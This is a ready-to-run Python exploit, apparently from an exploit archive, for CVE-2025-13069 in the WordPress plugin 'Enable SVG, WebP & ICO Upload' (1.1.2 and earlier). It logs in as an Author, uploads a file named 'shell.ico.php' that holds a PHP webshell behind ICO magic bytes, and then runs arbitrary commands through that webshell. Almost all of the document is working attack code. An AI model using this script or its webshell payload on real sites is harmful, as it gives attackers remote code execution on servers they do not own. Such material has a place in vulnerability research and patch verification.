Share
## https://sploitus.com/exploit?id=PACKETSTORM:226426
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Enable SVG, WebP & ICO Upload <= 1.1.2 - Authenticated (Author+) Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/enable-svg-webp-ico-upload/
    # Software Link: https://downloads.wordpress.org/plugin/enable-svg-webp-ico-upload.1.1.2.zip
    # Version: 1.1.2 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-13069
    """
    Enable SVG, WebP & ICO Upload <= 1.1.2 lets an authenticated Author (cap upload_files) upload a
    PHP webshell. The `upload_ico_files` filter (includes/class-ico.php) accepts ANY file whose name
    merely CONTAINS '.ico' and whose first 4 bytes are the ICO magic (\\x00\\x00\\x01\\x00), returning
    ext='ico'/type='image/x-icon' โ€” but WordPress saves the file under its real name. Uploading
    `shell.ico.php` (magic bytes + PHP) therefore lands an executable .php in wp-content/uploads.
    
    Prior state: a logged-in Author account (created by the site; here lp_author / Passw0rd!123).
    
    Usage:
      python3 CVE-2025-13069_svg-ico-upload.py --target http://localhost:8090 --user lp_author --pass 'Passw0rd!123' --cmd id
    """
    import argparse, re, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    TOKEN = "SVGICO_PWNED_13069"
    PAYLOAD = b"\x00\x00\x01\x00<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOKEN.encode()
    
    def login(s, base, user, pw):
        s.get(base + "/wp-login.php")
        s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php",
               data={"log": user, "pwd": pw, "wp-submit": "Log In",
                     "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        return any("wordpress_logged_in" in c.name for c in s.cookies)
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="lp_author")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--name", default="shell.ico.php")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        print(f"[*] Target: {base}")
        if not login(s, base, args.user, args.pw):
            print(f"[-] Login failed for {args.user}"); return 1
        print(f"[+] Logged in as {args.user}")
    
        # media-form nonce for the async uploader
        html = s.get(base + "/wp-admin/media-new.php").text
        m = re.search(r'"_wpnonce":"([a-f0-9]+)"', html) or re.search(r'name="_wpnonce"\s+value="([a-f0-9]+)"', html)
        nonce = m.group(1) if m else None
        print(f"[*] media-form nonce: {nonce}")
    
        files = {"async-upload": (args.name, PAYLOAD, "image/x-icon")}
        data = {"action": "upload-attachment", "_wpnonce": nonce, "name": args.name}
        r = s.post(base + "/wp-admin/admin-ajax.php", files=files, data=data, timeout=30)
        print(f"[*] upload-attachment -> HTTP {r.status_code} :: {r.text[:200]}")
        url = None
        mm = re.search(r'"url":"([^"]+?%s[^"]*)"' % re.escape(args.name.replace(".", "\\/")), r.text) \
             or re.search(r'"url":"(https?:\\?/\\?/[^"]+\.php)"', r.text)
        if mm:
            url = mm.group(1).replace("\\/", "/")
        if not url:
            # fall back to the standard uploads path
            import datetime
            now = datetime.datetime.now(datetime.timezone.utc)
            url = f"{base}/wp-content/uploads/{now.year}/{now.month:02d}/{args.name}"
        print(f"[*] Webshell URL: {url}")
        rr = s.get(url, params={"c": args.cmd}, timeout=15)
        if TOKEN in rr.text:
            out = rr.text.split(TOKEN + ":", 1)[1].strip()
            print(f"\n[+] RCE CONFIRMED (authenticated Author arbitrary file upload).")
            print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{out}\n{'-'*50}")
            return 0
        print(f"\n[-] Could not confirm. Response: {rr.text[:160]}")
        return 1
    
    if __name__ == "__main__":
        sys.exit(main())